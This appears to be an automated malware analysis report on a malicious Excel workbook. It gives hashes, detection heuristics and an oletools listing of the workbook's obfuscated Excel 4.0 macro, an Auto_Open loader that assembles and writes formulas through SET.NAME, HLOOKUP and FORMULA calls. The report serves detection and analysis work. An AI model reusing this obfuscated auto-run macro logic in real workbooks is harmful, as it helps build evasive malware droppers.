Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6bebd332b4fa38e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:09 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: edb3e515b92502a292a759f6ea92f755 SHA-1: 76b6a2a1e885d5486118e9f8da85d326f08ffbd9 SHA-256: f6bebd332b4fa38e7028145ac84b3b29aa9a386a5f4c138611f206f1008be0cc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6480 bytes
SHA-256: 8ff85dd0a56f6df76d0203b29d9bd3652d57e7c28f9944fd46e2393a467624ec
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IEFXAb
' 0018     26 LABEL : Cell Value, String Constant - aCBQziYfETc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G198 
' 0018     26 LABEL : Cell Value, String Constant - bLZDwmTSYdR len=0 
' 0018     23 LABEL : Cell Value, String Constant - EfQYFvih len=0 
' 0018     22 LABEL : Cell Value, String Constant - eipaYcr len=0 
' 0018     24 LABEL : Cell Value, String Constant - guMQKLDWm len=0 
' 0018     26 LABEL : Cell Value, String Constant - iJuFbMDNCtG len=0 
' 0018     24 LABEL : Cell Value, String Constant - JNLlVDTSX len=0 
' 0018     21 LABEL : Cell Value, String Constant - LOluaE len=0 
' 0018     20 LABEL : Cell Value, String Constant - mwCTT len=0 
' 0018     21 LABEL : Cell Value, String Constant - NMZExc len=0 
' 0018     20 LABEL : Cell Value, String Constant - nXagi len=0 
' 0018     21 LABEL : Cell Value, String Constant - OkdukC len=0 
' 0018     21 LABEL : Cell Value, String Constant - oTnkdO len=0 
' 0018     24 LABEL : Cell Value, String Constant - qbijsKIcO len=0 
' 0018     22 LABEL : Cell Value, String Constant - qEljxNM len=0 
' 0018     26 LABEL : Cell Value, String Constant - RpFYFRMzeQx len=0 
' 0018     27 LABEL : Cell Value, String Constant - STUJfKMJQzVT len=0 
' 0018     24 LABEL : Cell Value, String Constant - TrIsvhWwV len=0 
' 0018     26 LABEL : Cell Value, String Constant - TtFafdvYeri len=0 
' 0018     22 LABEL : Cell Value, String Constant - WiluloH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IEFXAb,G100,"SET.NAME("TtFafdvYeri",VALUE("0"))",""
'  IEFXAb,G103,"SET.NAME("NMZExc",TtFafdvYeri)",""
'  IEFXAb,G108,"SET.NAME("bLZDwmTSYdR",TtFafdvYeri)",""
'  IEFXAb,G113,"SET.NAME("eipaYcr",COUNTA(RpFYFRMzeQx))",""
'  IEFXAb,G118,"SET.NAME("EfQYFvih",COUNTA(qEljxNM))",""
'  IEFXAb,G122,[],""
'  IEFXAb,G126,"SET.NAME("aCBQziYfETc","")",""
'  IEFXAb,G131,"NMZExc",""
'  IEFXAb,G135,"SET.NAME("oTnkdO",HLOOKUP("*",RpFYFRMzeQx,NMZExc,FALSE))",""
'  IEFXAb,G137,"STUJfKMJQzVT",""
'  IEFXAb,G141,"SET.NAME("OkdukC",TtFafdvYeri)",""
'  IEFXAb,G146,[],""
'  IEFXAb,G149,"OkdukC",""
'  IEFXAb,G152,"iJuFbMDNCtG",""
'  IEFXAb,G157,"TrIsvhWwV",""
'  IEFXAb,G159,"qbijsKIcO",""
'  IEFXAb,G161,"SET.NAME("guMQKLDWm",VALUE(HLOOKUP("*",qEljxNM,qbijsKIcO,FALSE)))",""
'  IEFXAb,G165,"WiluloH",""
'  IEFXAb,G168,"aCBQziYfETc",""
'  IEFXAb,G170,"bLZDwmTSYdR",""
'  IEFXAb,G172,NEXT(),""
'  IEFXAb,G177,"JNLlVDTSX",""
'  IEFXAb,G182,"SET.NAME("f",INT(T(FORMULA(T(aCBQziYfETc)&"",""&T(JNLlVDTSX)))))",""
'  IEFXAb,G185,"nXagi",""
'  IEFXAb,G190,NEXT(),""
'  IEFXAb,G193,RETURN(),""
'  IEFXAb,G225,"SET.NAME("mwCTT",G100)",""
'  IEFXAb,G229,"RpFYFRMzeQx",""
'  IEFXAb,G234,"SET.NAME("qEljxNM",R89C13)",""
'  IEFXAb,G238,"SET.NAME("nXagi",246)",""
'  IEFXAb,G240,"SET.NAME("LOluaE",7)",""
'  IEFXAb,G245,mwCTT(),""
'  IEFXAb,G246,HALT(),""